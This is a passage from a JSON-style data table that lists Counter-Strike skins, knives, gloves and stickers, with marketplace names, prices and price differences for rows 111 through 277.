                "CSFloat",
                "absent",
                "+$5,081.43"
              ],
              [
                "111",
                "★ Sport Gloves | Hedge Maze (Minimal Wear)",
                "4",
                "483",
                "$6,818.68",
                "Youpin",
                "absent",
                "+$5,018.68"
              ],
              [
                "112",
                "AWP | Gungnir (Well-Worn)",
                "4",
                "14",
                "$6,767.67",
                "CSFloat",
                "absent",
                "+$4,967.67"
              ],
              [
                "113",
                "Souvenir PP-Bizon | Traitor (Factory New)",
                "1",
                "1",
                "$6,719.96",
                "CSFloat",
                "$254.03",
                "+$4,919.96"
              ],
              [
                "114",
                "M4A4 | Howl (Factory New)",
                "5",
                "280",
                "$6,628.46",
                "BUFF",
                "absent",
                "+$4,828.46"
              ],
              [
                "115",
                "★ StatTrak™ Butterfly Knife | Gamma Doppler (Factory New) | EmeraldEmerald",
                "4",
                "5",
                "$6,622.84",
                "CSFloat",
                "absent",
                "+$4,822.84"
              ],
              [
                "116",
                "★ StatTrak™ Karambit | Gamma Doppler (Factory New) | EmeraldEmerald",
                "4",
                "3",
                "$6,436.43",
                "Youpin",
                "absent",
                "+$4,636.43"
              ],
              [
                "117",
                "★ M9 Bayonet | Gamma Doppler (Factory New) | EmeraldEmerald",
                "5",
                "16",
                "$6,391.52",
                "Youpin",
                "absent",
                "+$4,591.52"
              ],
              [
                "118",
                "★ M9 Bayonet | Gamma Doppler (Minimal Wear) | EmeraldEmerald",
                "2",
                "0",
                "$6,286.59",
                "Youpin",
                "absent",
                "+$4,486.59"
              ],
              [
                "119",
                "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 2Phase 2",
                "2",
                "1",
                "$6,256.08",
                "BUFF",
                "absent",
                "+$4,456.08"
              ],
              [
                "120",
                "★ Karambit | Crimson Web (Factory New)",
                "5",
                "13",
                "$6,210.09",
                "Skinport",
                "absent",
                "+$4,410.09"
              ],
              [
                "121",
                "★ Butterfly Knife | Doppler (Factory New) | SapphireSapphire",
                "5",
                "28",
                "$6,199.00",
                "CSFloat",
                "absent",
                "+$4,399.00"
              ],
              [
                "122",
                "Souvenir AK-47 | The Empress (Battle-Scarred)",
                "1",
                "1",
                "$6,163.84",
                "CSFloat",
                "absent",
                "+$4,363.84"
              ],
              [
                "123",
                "★ StatTrak™ Stiletto Knife | Crimson Web (Factory New)",
                "1",
                "1",
                "$6,125.34",
                "CSFloat",
                "absent",
                "+$4,325.34"
              ],
              [
                "124",
                "★ StatTrak™ M9 Bayonet | Gamma Doppler (Factory New) | EmeraldEmerald",
                "4",
                "2",
                "$6,040.78",
                "CSFloat",
                "absent",
                "+$4,240.78"
              ],
              [
                "125",
                "AWP | Dragon Lore (Field-Tested)",
                "5",
                "188",
                "$5,987.96",
                "Youpin",
                "absent",
                "+$4,187.96"
              ],
              [
                "126",
                "Souvenir AWP | Dragon Lore (Field-Tested)",
                "4",
                "46",
                "$5,958.02",
                "Youpin",
                "absent",
                "+$4,158.02"
              ],
              [
                "127",
                "AWP | Gungnir (Battle-Scarred)",
                "4",
                "25",
                "$5,898.82",
                "CSFloat",
                "absent",
                "+$4,098.82"
              ],
              [
                "128",
                "★ StatTrak™ Butterfly Knife | Ultraviolet (Factory New)",
                "1",
                "1",
                "$5,800.00",
                "CSFloat",
                "absent",
                "+$4,000.00"
              ],
              [
                "129",
                "Souvenir AK-47 | Case Hardened (Minimal Wear) | Tier 1Tier 1",
                "1",
                "0",
                "$5,792.53",
                "BUFF",
                "absent",
                "+$3,992.53"
              ],
              [
                "130",
                "Souvenir Galil AR | Sugar Rush (Minimal Wear)",
                "1",
                "1",
                "$5,792.53",
                "BUFF",
                "absent",
                "+$3,992.53"
              ],
              [
                "131",
                "★ Skeleton Knife | Case Hardened (Minimal Wear) | Blue GemBlue Gem",
                "1",
                "2",
                "$5,792.53",
                "C5Game",
                "absent",
                "+$3,992.53"
              ],
              [
                "132",
                "★ Butterfly Knife | Doppler (Minimal Wear) | SapphireSapphire",
                "4",
                "2",
                "$5,734.74",
                "BUFF",
                "absent",
                "+$3,934.74"
              ],
              [
                "133",
                "★ Sport Gloves | Vice (Factory New)",
                "5",
                "97",
                "$5,700.00",
                "CSFloat",
                "absent",
                "+$3,900.00"
              ],
              [
                "134",
                "★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 2Phase 2",
                "1",
                "0",
                "$5,610.51",
                "BUFF",
                "absent",
                "+$3,810.51"
              ],
              [
                "135",
                "★ StatTrak™ Bowie Knife | Crimson Web (Factory New)",
                "1",
                "1",
                "$5,598.34",
                "CSFloat",
                "absent",
                "+$3,798.34"
              ],
              [
                "136",
                "Souvenir AWP | Medusa (Minimal Wear)",
                "1",
                "1",
                "$5,500.00",
                "CSFloat",
                "absent",
                "+$3,700.00"
              ],
              [
                "137",
                "AWP | Dragon Lore (Well-Worn)",
                "2",
                "3",
                "$5,445.00",
                "CSFloat",
                "absent",
                "+$3,645.00"
              ],
              [
                "138",
                "★ M9 Bayonet | Case Hardened (Minimal Wear) | Blue GemBlue Gem",
                "1",
                "1",
                "$5,443.53",
                "C5Game",
                "absent",
                "+$3,643.53"
              ],
              [
                "139",
                "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | SapphireSapphire",
                "4",
                "2",
                "$5,276.37",
                "Youpin",
                "absent",
                "+$3,476.37"
              ],
              [
                "140",
                "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 1Phase 1",
                "1",
                "0",
                "$5,243.19",
                "BUFF",
                "absent",
                "+$3,443.19"
              ],
              [
                "141",
                "Sticker | MIBR (Gold) | Cologne 2026",
                "1",
                "1",
                "$5,213.40",
                "BUFF",
                "$127.11",
                "+$3,413.40"
              ],
              [
                "142",
                "Sticker | woxic (Gold, Ranked) | Cologne 2026",
                "1",
                "1",
                "$5,213.40",
                "BUFF",
                "$8.00",
                "+$3,413.40"
              ],
              [
                "143",
                "Sticker | xiELO (Gold, Ranked) | Cologne 2026",
                "1",
                "1",
                "$5,213.40",
                "BUFF",
                "$10.54",
                "+$3,413.40"
              ],
              [
                "144",
                "Sticker | vexite (Gold, Ranked) | Cologne 2026",
                "1",
                "1",
                "$5,213.32",
                "BUFF",
                "$10.54",
                "+$3,413.32"
              ],
              [
                "145",
                "Sticker | HEN1 (Gold, Ranked) | Cologne 2026",
                "1",
                "1",
                "$5,212.80",
                "BUFF",
                "absent",
                "+$3,412.80"
              ],
              [
                "146",
                "Sticker | doc (Gold, Ranked) | Cologne 2026",
                "1",
                "1",
                "$5,212.80",
                "BUFF",
                "absent",
                "+$3,412.80"
              ],
              [
                "147",
                "Sticker | saadzin (Gold, Ranked) | Cologne 2026",
                "1",
                "1",
                "$5,212.80",
                "BUFF",
                "$10.54",
                "+$3,412.80"
              ],
              [
                "148",
                "Sticker | stressarN (Gold, Ranked) | Cologne 2026",
                "1",
                "1",
                "$5,212.80",
                "BUFF",
                "$10.54",
                "+$3,412.80"
              ],
              [
                "149",
                "Sticker | NAF (Gold, Ranked) | Cologne 2026",
                "1",
                "1",
                "$5,212.51",
                "BUFF",
                "$9.20",
                "+$3,412.51"
              ],
              [
                "150",
                "★ Moto Gloves | Spearmint (Factory New)",
                "4",
                "40",
                "$5,211.46",
                "Youpin",
                "absent",
                "+$3,411.46"
              ],
              [
                "151",
                "★ StatTrak™ Falchion Knife | Crimson Web (Factory New)",
                "1",
                "2",
                "$5,196.34",
                "CSFloat",
                "absent",
                "+$3,396.34"
              ],
              [
                "152",
                "Souvenir M4A4 | Howl (Field-Tested)",
                "1",
                "2",
                "$5,112.12",
                "CSFloat",
                "absent",
                "+$3,312.12"
              ],
              [
                "153",
                "Souvenir M4A4 | Howl (Minimal Wear)",
                "2",
                "2",
                "$5,064.27",
                "Youpin",
                "absent",
                "+$3,264.27"
              ],
              [
                "154",
                "Souvenir AK-47 | Head Shot (Factory New)",
                "2",
                "2",
                "$5,000.00",
                "CSFloat",
                "absent",
                "+$3,200.00"
              ],
              [
                "155",
                "Souvenir G3SG1 | Orange Kimono (Factory New)",
                "1",
                "1",
                "$5,000.00",
                "CSFloat",
                "$29.98",
                "+$3,200.00"
              ],
              [
                "156",
                "Souvenir M249 | Impact Drill (Factory New)",
                "1",
                "1",
                "$5,000.00",
                "CSFloat",
                "absent",
                "+$3,200.00"
              ],
              [
                "157",
                "Sticker | Reason Gaming | Katowice 2014",
                "4",
                "20",
                "$5,000.00",
                "CSFloat",
                "absent",
                "+$3,200.00"
              ],
              [
                "158",
                "★ StatTrak™ Classic Knife | Scorched (Factory New)",
                "1",
                "1",
                "$5,000.00",
                "CSFloat",
                "absent",
                "+$3,200.00"
              ],
              [
                "159",
                "Sticker | Ninjas in Pyjamas (Holo) | Katowice 2014",
                "2",
                "8",
                "$4,999.72",
                "CSFloat",
                "absent",
                "+$3,199.72"
              ],
              [
                "160",
                "★ Sport Gloves | Pandora's Box (Minimal Wear)",
                "5",
                "493",
                "$4,998.00",
                "CSFloat",
                "absent",
                "+$3,198.00"
              ],
              [
                "161",
                "M4A4 | Howl (Minimal Wear)",
                "5",
                "235",
                "$4,997.00",
                "CSFloat",
                "absent",
                "+$3,197.00"
              ],
              [
                "162",
                "Sticker | mousesports (Holo) | Katowice 2014",
                "3",
                "6",
                "$4,965.09",
                "BUFF",
                "absent",
                "+$3,165.09"
              ],
              [
                "163",
                "★ StatTrak™ Karambit | Marble Fade (Factory New) | 1st1st",
                "3",
                "2",
                "$4,965.09",
                "BUFF",
                "absent",
                "+$3,165.09"
              ],
              [
                "164",
                "AK-47 | Wild Lotus (Well-Worn)",
                "5",
                "55",
                "$4,942.10",
                "Skinport",
                "absent",
                "+$3,142.10"
              ],
              [
                "165",
                "StatTrak™ AK-47 | Case Hardened (Field-Tested) | Tier 1Tier 1",
                "3",
                "9",
                "$4,766.54",
                "Youpin",
                "absent",
                "+$2,966.54"
              ],
              [
                "166",
                "StatTrak™ AK-47 | Fire Serpent (Factory New)",
                "5",
                "80",
                "$4,766.54",
                "Youpin",
                "absent",
                "+$2,966.54"
              ],
              [
                "167",
                "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 3Phase 3",
                "2",
                "1",
                "$4,733.32",
                "BUFF",
                "absent",
                "+$2,933.32"
              ],
              [
                "168",
                "Souvenir AK-47 | Hydroponic (Factory New)",
                "2",
                "2",
                "$4,617.58",
                "BUFF",
                "absent",
                "+$2,817.58"
              ],
              [
                "169",
                "★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 3Phase 3",
                "1",
                "0",
                "$4,617.58",
                "BUFF",
                "absent",
                "+$2,817.58"
              ],
              [
                "170",
                "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 6Phase 6",
                "2",
                "2",
                "$4,600.90",
                "BUFF",
                "absent",
                "+$2,800.90"
              ],
              [
                "171",
                "★ Sport Gloves | Ultra Violent (Factory New)",
                "4",
                "64",
                "$4,543.10",
                "C5Game",
                "absent",
                "+$2,743.10"
              ],
              [
                "172",
                "Souvenir M4A1-S | Party Animal (Factory New)",
                "2",
                "2",
                "$4,468.63",
                "BUFF",
                "absent",
                "+$2,668.63"
              ],
              [
                "173",
                "Sticker Slab | keshandr (Gold) | Krakow 2017",
                "1",
                "0",
                "$4,468.63",
                "BUFF",
                "absent",
                "+$2,668.63"
              ],
              [
                "174",
                "Sticker | Brollan (Gold, Ranked) | Cologne 2026",
                "1",
                "2",
                "$4,468.63",
                "BUFF",
                "$18.46",
                "+$2,668.63"
              ],
              [
                "175",
                "Sticker | LUCAS1 (Gold) | Boston 2018",
                "1",
                "1",
                "$4,468.63",
                "Youpin",
                "absent",
                "+$2,668.63"
              ],
              [
                "176",
                "★ StatTrak™ Karambit | Doppler (Factory New) | SapphireSapphire",
                "4",
                "3",
                "$4,340.62",
                "Youpin",
                "absent",
                "+$2,540.62"
              ],
              [
                "177",
                "Souvenir AK-47 | Wild Lotus (Battle-Scarred)",
                "1",
                "1",
                "$4,337.07",
                "CSFloat",
                "absent",
                "+$2,537.07"
              ],
              [
                "178",
                "★ Specialist Gloves | Pillow Punchers (Factory New)",
                "4",
                "30",
                "$4,302.25",
                "C5Game",
                "absent",
                "+$2,502.25"
              ],
              [
                "179",
                "★ StatTrak™ Karambit | Case Hardened (Factory New)",
                "4",
                "7",
                "$4,300.02",
                "CSFloat",
                "absent",
                "+$2,500.02"
              ],
              [
                "180",
                "★ Karambit | Marble Fade (Minimal Wear) | 1st1st",
                "1",
                "1",
                "$4,300.00",
                "CSFloat",
                "absent",
                "+$2,500.00"
              ],
              [
                "181",
                "Souvenir AWP | The Prince (Factory New)",
                "2",
                "3",
                "$4,291.45",
                "CSFloat",
                "absent",
                "+$2,491.45"
              ],
              [
                "182",
                "★ Skeleton Knife | Doppler (Minimal Wear) | Black PearlBlack Pearl",
                "3",
                "1",
                "$4,290.00",
                "CSFloat",
                "absent",
                "+$2,490.00"
              ],
              [
                "183",
                "Sticker | keshandr (Gold) | Krakow 2017",
                "2",
                "5",
                "$4,289.88",
                "BUFF",
                "absent",
                "+$2,489.88"
              ],
              [
                "184",
                "AWP | Dragon Lore (Battle-Scarred)",
                "5",
                "35",
                "$4,278.61",
                "CSFloat",
                "absent",
                "+$2,478.61"
              ],
              [
                "185",
                "★ Specialist Gloves | Emerald Web (Factory New)",
                "4",
                "35",
                "$4,274.69",
                "BUFF",
                "absent",
                "+$2,474.69"
              ],
              [
                "186",
                "★ Karambit | Doppler (Factory New) | SapphireSapphire",
                "5",
                "13",
                "$4,258.52",
                "Youpin",
                "absent",
                "+$2,458.52"
              ],
              [
                "187",
                "★ Butterfly Knife | Crimson Web (Factory New)",
                "5",
                "33",
                "$4,250.00",
                "CSFloat",
                "absent",
                "+$2,450.00"
              ],
              [
                "188",
                "Sticker | Clan-Mystik (Holo) | Katowice 2014",
                "5",
                "20",
                "$4,245.20",
                "Youpin",
                "absent",
                "+$2,445.20"
              ],
              [
                "189",
                "Souvenir AWP | Dragon Lore (Battle-Scarred)",
                "4",
                "9",
                "$4,225.00",
                "CSFloat",
                "absent",
                "+$2,425.00"
              ],
              [
                "190",
                "★ Karambit | Doppler (Minimal Wear) | SapphireSapphire",
                "3",
                "1",
                "$4,186.17",
                "CSFloat",
                "absent",
                "+$2,386.17"
              ],
              [
                "191",
                "★ M9 Bayonet | Crimson Web (Factory New)",
                "4",
                "11",
                "$4,178.75",
                "Skinport",
                "absent",
                "+$2,378.75"
              ],
              [
                "192",
                "AWP | Medusa (Factory New)",
                "4",
                "56",
                "$4,170.72",
                "BUFF",
                "absent",
                "+$2,370.72"
              ],
              [
                "193",
                "Souvenir Sawed-Off | Orange DDPAT (Battle-Scarred)",
                "1",
                "2",
                "$4,170.72",
                "BUFF",
                "absent",
                "+$2,370.72"
              ],
              [
                "194",
                "★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 5Phase 5",
                "1",
                "0",
                "$4,170.72",
                "BUFF",
                "absent",
                "+$2,370.72"
              ],
              [
                "195",
                "Sticker | s1mple (Gold) | Krakow 2017",
                "4",
                "12",
                "$4,150.00",
                "CSFloat",
                "absent",
                "+$2,350.00"
              ],
              [
                "196",
                "Souvenir M4A4 | Howl (Well-Worn)",
                "2",
                "2",
                "$4,140.93",
                "Youpin",
                "absent",
                "+$2,340.93"
              ],
              [
                "197",
                "Sticker | Virtus.Pro (Holo) | Katowice 2014",
                "4",
                "22",
                "$4,100.00",
                "CSFloat",
                "absent",
                "+$2,300.00"
              ],
              [
                "198",
                "★ StatTrak™ Butterfly Knife | Night (Factory New)",
                "1",
                "2",
                "$4,050.00",
                "CSFloat",
                "absent",
                "+$2,250.00"
              ],
              [
                "199",
                "★ M9 Bayonet | Doppler (Factory New) | SapphireSapphire",
                "5",
                "23",
                "$4,021.77",
                "BUFF",
                "absent",
                "+$2,221.77"
              ],
              [
                "200",
                "M4A4 | Howl (Field-Tested)",
                "5",
                "170",
                "$4,021.62",
                "Youpin",
                "absent",
                "+$2,221.62"
              ],
              [
                "201",
                "M4A4 | Howl (Well-Worn)",
                "3",
                "4",
                "$4,021.62",
                "Youpin",
                "absent",
                "+$2,221.62"
              ],
              [
                "202",
                "Souvenir SCAR-20 | Splash Jam (Factory New)",
                "1",
                "1",
                "$4,000.00",
                "CSFloat",
                "absent",
                "+$2,200.00"
              ],
              [
                "203",
                "Souvenir Sawed-Off | Spirit Board (Minimal Wear)",
                "1",
                "1",
                "$4,000.00",
                "CSFloat",
                "absent",
                "+$2,200.00"
              ],
              [
                "204",
                "StatTrak™ AK-47 | Case Hardened (Battle-Scarred) | Tier 1Tier 1",
                "2",
                "2",
                "$4,000.00",
                "CSFloat",
                "absent",
                "+$2,200.00"
              ],
              [
                "205",
                "★ Butterfly Knife | Doppler (Factory New) | Phase 2Phase 2",
                "5",
                "32",
                "$4,000.00",
                "CSFloat",
                "absent",
                "+$2,200.00"
              ],
              [
                "206",
                "Sticker | LGB eSports (Holo) | Katowice 2014",
                "5",
                "21",
                "$3,971.94",
                "Youpin",
                "absent",
                "+$2,171.94"
              ],
              [
                "207",
                "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 2Phase 2",
                "5",
                "3",
                "$3,919.95",
                "CSFloat",
                "absent",
                "+$2,119.95"
              ],
              [
                "208",
                "★ Butterfly Knife | Doppler (Minimal Wear) | Phase 2Phase 2",
                "4",
                "2",
                "$3,900.00",
                "CSFloat",
                "absent",
                "+$2,100.00"
              ],
              [
                "209",
                "★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 2Phase 2",
                "3",
                "0",
                "$3,891.80",
                "Youpin",
                "absent",
                "+$2,091.80"
              ],
              [
                "210",
                "Sticker | iBUYPOWER | Katowice 2014",
                "4",
                "24",
                "$3,835.00",
                "CSFloat",
                "absent",
                "+$2,035.00"
              ],
              [
                "211",
                "M4A1-S | Knight (Minimal Wear)",
                "1",
                "1",
                "$3,750.00",
                "CSFloat",
                "absent",
                "+$1,950.00"
              ],
              [
                "212",
                "★ Sport Gloves | Hedge Maze (Field-Tested)",
                "5",
                "1,236",
                "$3,723.71",
                "Youpin",
                "absent",
                "+$1,923.71"
              ],
              [
                "213",
                "AK-47 | Wild Lotus (Battle-Scarred)",
                "5",
                "36",
                "$3,688.64",
                "CSFloat",
                "absent",
                "+$1,888.64"
              ],
              [
                "214",
                "★ M9 Bayonet | Doppler (Minimal Wear) | SapphireSapphire",
                "4",
                "1",
                "$3,679.17",
                "BUFF",
                "absent",
                "+$1,879.17"
              ],
              [
                "215",
                "AK-47 | Hydroponic (Factory New)",
                "5",
                "451",
                "$3,647.57",
                "Youpin",
                "absent",
                "+$1,847.57"
              ],
              [
                "216",
                "★ StatTrak™ M9 Bayonet | Doppler (Factory New) | SapphireSapphire",
                "5",
                "2",
                "$3,641.04",
                "BUFF",
                "absent",
                "+$1,841.04"
              ],
              [
                "217",
                "MP9 | Wild Lily (Battle-Scarred)",
                "1",
                "2",
                "$3,599.00",
                "CSFloat",
                "absent",
                "+$1,799.00"
              ],
              [
                "218",
                "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 4Phase 4",
                "2",
                "2",
                "$3,574.75",
                "BUFF",
                "absent",
                "+$1,774.75"
              ],
              [
                "219",
                "M4A1-S | Imminent Danger (Well-Worn)",
                "3",
                "3",
                "$3,500.00",
                "CSFloat",
                "absent",
                "+$1,700.00"
              ],
              [
                "220",
                "★ Talon Knife | Case Hardened (Field-Tested) | Blue GemBlue Gem",
                "1",
                "2",
                "$3,493.87",
                "C5Game",
                "absent",
                "+$1,693.87"
              ],
              [
                "221",
                "Souvenir M4A4 | The Coalition (Minimal Wear)",
                "1",
                "4",
                "$3,445.26",
                "CSFloat",
                "absent",
                "+$1,645.26"
              ],
              [
                "222",
                "★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 4Phase 4",
                "2",
                "1",
                "$3,425.80",
                "BUFF",
                "absent",
                "+$1,625.80"
              ],
              [
                "223",
                "Sticker | 3DMAX (Holo) | Katowice 2014",
                "4",
                "9",
                "$3,421.65",
                "CSFloat",
                "absent",
                "+$1,621.65"
              ],
              [
                "224",
                "Souvenir Tec-9 | Perimeter (Battle-Scarred)",
                "1",
                "1",
                "$3,357.80",
                "CSFloat",
                "absent",
                "+$1,557.80"
              ],
              [
                "225",
                "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 5Phase 5",
                "2",
                "7",
                "$3,350.73",
                "BUFF",
                "absent",
                "+$1,550.73"
              ],
              [
                "226",
                "Sticker | Titan | Katowice 2014",
                "5",
                "34",
                "$3,349.68",
                "Youpin",
                "absent",
                "+$1,549.68"
              ],
              [
                "227",
                "★ Nomad Knife | Case Hardened (Battle-Scarred) | Blue GemBlue Gem",
                "1",
                "1",
                "$3,336.58",
                "C5Game",
                "absent",
                "+$1,536.58"
              ],
              [
                "228",
                "StatTrak™ AK-47 | Case Hardened (Well-Worn) | Tier 1Tier 1",
                "4",
                "12",
                "$3,310.06",
                "Youpin",
                "absent",
                "+$1,510.06"
              ],
              [
                "229",
                "AK-47 | Case Hardened (Factory New) | Tier 1Tier 1",
                "4",
                "30",
                "$3,276.99",
                "BUFF",
                "absent",
                "+$1,476.99"
              ],
              [
                "230",
                "★ StatTrak™ Karambit | Scorched (Factory New)",
                "1",
                "1",
                "$3,271.72",
                "CSFloat",
                "absent",
                "+$1,471.72"
              ],
              [
                "231",
                "★ StatTrak™ Huntsman Knife | Doppler (Factory New) | Black PearlBlack Pearl",
                "1",
                "0",
                "$3,250.00",
                "CSFloat",
                "absent",
                "+$1,450.00"
              ],
              [
                "232",
                "★ Sport Gloves | Pandora's Box (Field-Tested)",
                "5",
                "1,043",
                "$3,245.49",
                "C5Game",
                "absent",
                "+$1,445.49"
              ],
              [
                "233",
                "AUG | Akihabara Accept (Factory New)",
                "5",
                "69",
                "$3,200.45",
                "Youpin",
                "absent",
                "+$1,400.45"
              ],
              [
                "234",
                "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 6Phase 6",
                "2",
                "6",
                "$3,182.41",
                "BUFF",
                "absent",
                "+$1,382.41"
              ],
              [
                "235",
                "★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear) | Phase 4Phase 4",
                "1",
                "1",
                "$3,107.62",
                "C5Game",
                "absent",
                "+$1,307.62"
              ],
              [
                "236",
                "★ StatTrak™ Karambit | Marble Fade (Factory New) | 8th8th",
                "2",
                "1",
                "$3,098.25",
                "Youpin",
                "absent",
                "+$1,298.25"
              ],
              [
                "237",
                "★ StatTrak™ Navaja Knife | Crimson Web (Factory New)",
                "1",
                "2",
                "$3,086.51",
                "CSFloat",
                "absent",
                "+$1,286.51"
              ],
              [
                "238",
                "★ Sport Gloves | Hedge Maze (Well-Worn)",
                "5",
                "115",
                "$3,078.21",
                "Youpin",
                "absent",
                "+$1,278.21"
              ],
              [
                "239",
                "Sticker | Grim (Gold, Ranked) | Cologne 2026",
                "1",
                "2",
                "$3,077.69",
                "BUFF",
                "$13.69",
                "+$1,277.69"
              ],
              [
                "240",
                "★ StatTrak™ Karambit | Boreal Forest (Factory New)",
                "1",
                "2",
                "$3,061.83",
                "CSFloat",
                "absent",
                "+$1,261.83"
              ],
              [
                "241",
                "Negev | Mjölnir (Well-Worn)",
                "1",
                "1",
                "$3,053.55",
                "Youpin",
                "absent",
                "+$1,253.55"
              ],
              [
                "242",
                "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 2Phase 2",
                "1",
                "0",
                "$3,053.41",
                "BUFF",
                "absent",
                "+$1,253.41"
              ],
              [
                "243",
                "★ Sport Gloves | Slingshot (Factory New)",
                "4",
                "76",
                "$3,037.55",
                "CSFloat",
                "absent",
                "+$1,237.55"
              ],
              [
                "244",
                "Souvenir M4A1-S | Imminent Danger (Well-Worn)",
                "1",
                "1",
                "$3,000.00",
                "CSFloat",
                "absent",
                "+$1,200.00"
              ],
              [
                "245",
                "Souvenir M4A4 | Modern Hunter (Field-Tested)",
                "2",
                "2",
                "$3,000.00",
                "CSFloat",
                "absent",
                "+$1,200.00"
              ],
              [
                "246",
                "Sticker | mzinho (Gold, Ranked) | Cologne 2026",
                "2",
                "5",
                "$3,000.00",
                "CSFloat",
                "$10.54",
                "+$1,200.00"
              ],
              [
                "247",
                "★ StatTrak™ Stiletto Knife | Urban Masked (Factory New)",
                "1",
                "2",
                "$3,000.00",
                "CSFloat",
                "absent",
                "+$1,200.00"
              ],
              [
                "248",
                "Sticker | BnTeT (Gold) | Boston 2018",
                "1",
                "1",
                "$2,999.00",
                "CSFloat",
                "absent",
                "+$1,199.00"
              ],
              [
                "249",
                "Souvenir AWP | BOOM (Factory New)",
                "2",
                "2",
                "$2,979.09",
                "BUFF",
                "absent",
                "+$1,179.09"
              ],
              [
                "250",
                "Souvenir FAMAS | Neural Net (Factory New)",
                "1",
                "1",
                "$2,979.09",
                "BUFF",
                "absent",
                "+$1,179.09"
              ],
              [
                "251",
                "Souvenir USP-S | Black Lotus (Minimal Wear)",
                "1",
                "1",
                "$2,979.09",
                "Youpin",
                "absent",
                "+$1,179.09"
              ],
              [
                "252",
                "★ StatTrak™ M9 Bayonet | Gamma Doppler (Minimal Wear) | Phase 4Phase 4",
                "1",
                "0",
                "$2,979.09",
                "BUFF",
                "absent",
                "+$1,179.09"
              ],
              [
                "253",
                "★ StatTrak™ Shadow Daggers | Fade (Minimal Wear)",
                "1",
                "1",
                "$2,979.09",
                "Youpin",
                "absent",
                "+$1,179.09"
              ],
              [
                "254",
                "Sticker | BIT (Gold) | Boston 2018",
                "2",
                "6",
                "$2,979.07",
                "Youpin",
                "absent",
                "+$1,179.07"
              ],
              [
                "255",
                "Souvenir AK-47 | Rat Rod (Field-Tested)",
                "1",
                "1",
                "$2,978.94",
                "BUFF",
                "absent",
                "+$1,178.94"
              ],
              [
                "256",
                "★ Bayonet | Marble Fade (Factory New) | 1st1st",
                "3",
                "5",
                "$2,978.94",
                "Youpin",
                "absent",
                "+$1,178.94"
              ],
              [
                "257",
                "★ Bowie Knife | Crimson Web (Factory New)",
                "3",
                "4",
                "$2,956.90",
                "CSFloat",
                "absent",
                "+$1,156.90"
              ],
              [
                "258",
                "★ Sport Gloves | Pandora's Box (Well-Worn)",
                "5",
                "116",
                "$2,942.58",
                "CSFloat",
                "absent",
                "+$1,142.58"
              ],
              [
                "259",
                "★ StatTrak™ Paracord Knife | Crimson Web (Factory New)",
                "3",
                "5",
                "$2,904.73",
                "C5Game",
                "absent",
                "+$1,104.73"
              ],
              [
                "260",
                "★ StatTrak™ Bayonet | Doppler (Factory New) | Black PearlBlack Pearl",
                "2",
                "1",
                "$2,903.02",
                "C5Game",
                "absent",
                "+$1,103.02"
              ],
              [
                "261",
                "★ StatTrak™ Karambit | Marble Fade (Factory New) | 3rd3rd",
                "3",
                "4",
                "$2,877.42",
                "CSFloat",
                "absent",
                "+$1,077.42"
              ],
              [
                "262",
                "★ Sport Gloves | Arid (Factory New)",
                "4",
                "29",
                "$2,868.86",
                "C5Game",
                "absent",
                "+$1,068.86"
              ],
              [
                "263",
                "★ StatTrak™ Butterfly Knife | Fade (Minimal Wear)",
                "4",
                "6",
                "$2,830.12",
                "Youpin",
                "absent",
                "+$1,030.12"
              ],
              [
                "264",
                "Souvenir AK-47 | The Empress (Factory New)",
                "2",
                "3",
                "$2,813.45",
                "BUFF",
                "absent",
                "+$1,013.45"
              ],
              [
                "265",
                "Souvenir M4A1-S | Hyper Beast (Factory New)",
                "1",
                "1",
                "$2,813.45",
                "BUFF",
                "absent",
                "+$1,013.45"
              ],
              [
                "266",
                "★ Sport Gloves | Nocts (Factory New)",
                "5",
                "54",
                "$2,802.72",
                "C5Game",
                "absent",
                "+$1,002.72"
              ],
              [
                "267",
                "★ Stiletto Knife | Case Hardened (Well-Worn) | Blue GemBlue Gem",
                "1",
                "1",
                "$2,800.34",
                "C5Game",
                "absent",
                "+$1,000.34"
              ],
              [
                "268",
                "★ StatTrak™ Skeleton Knife | Doppler (Minimal Wear) | RubyRuby",
                "2",
                "0",
                "$2,799.00",
                "CSFloat",
                "absent",
                "+$999.00"
              ],
              [
                "269",
                "StatTrak™ AK-47 | Fire Serpent (Minimal Wear)",
                "5",
                "176",
                "$2,760.60",
                "CSFloat",
                "absent",
                "+$960.60"
              ],
              [
                "270",
                "★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 6Phase 6",
                "2",
                "1",
                "$2,748.21",
                "BUFF",
                "absent",
                "+$948.21"
              ],
              [
                "271",
                "Sticker | cobra (Gold, Ranked) | Cologne 2026",
                "2",
                "3",
                "$2,739.48",
                "Skinport",
                "$598.17",
                "+$939.48"
              ],
              [
                "272",
                "★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 3Phase 3",
                "2",
                "1",
                "$2,735.30",
                "C5Game",
                "absent",
                "+$935.30"
              ],
              [
                "273",
                "★ Moto Gloves | Spearmint (Minimal Wear)",
                "5",
                "425",
                "$2,708.73",
                "Youpin",
                "absent",
                "+$908.73"
              ],
              [
                "274",
                "Souvenir Glock-18 | Fade (Factory New)",
                "3",
                "3",
                "$2,700.00",
                "CSFloat",
                "absent",
                "+$900.00"
              ],
              [
                "275",
                "★ StatTrak™ Talon Knife | Doppler (Factory New) | Black PearlBlack Pearl",
                "3",
                "1",
                "$2,700.00",
                "CSFloat",
                "absent",
                "+$900.00"
              ],
              [
                "276",
                "★ Butterfly Knife | Doppler (Factory New) | Phase 4Phase 4",
                "5",
                "21",
                "$2,694.32",
                "Youpin",
                "absent",
                "+$894.32"
              ],
              [
                "277",
                "★ StatTrak™ Talon Knife | Case Hardened (Battle-Scarred) | Blue GemBlue Gem",
                "1",
                "1",
                "$2,693.94",
                "C5Game",
                "absent",
                "+$893.94"
              ],
              [
                "278",
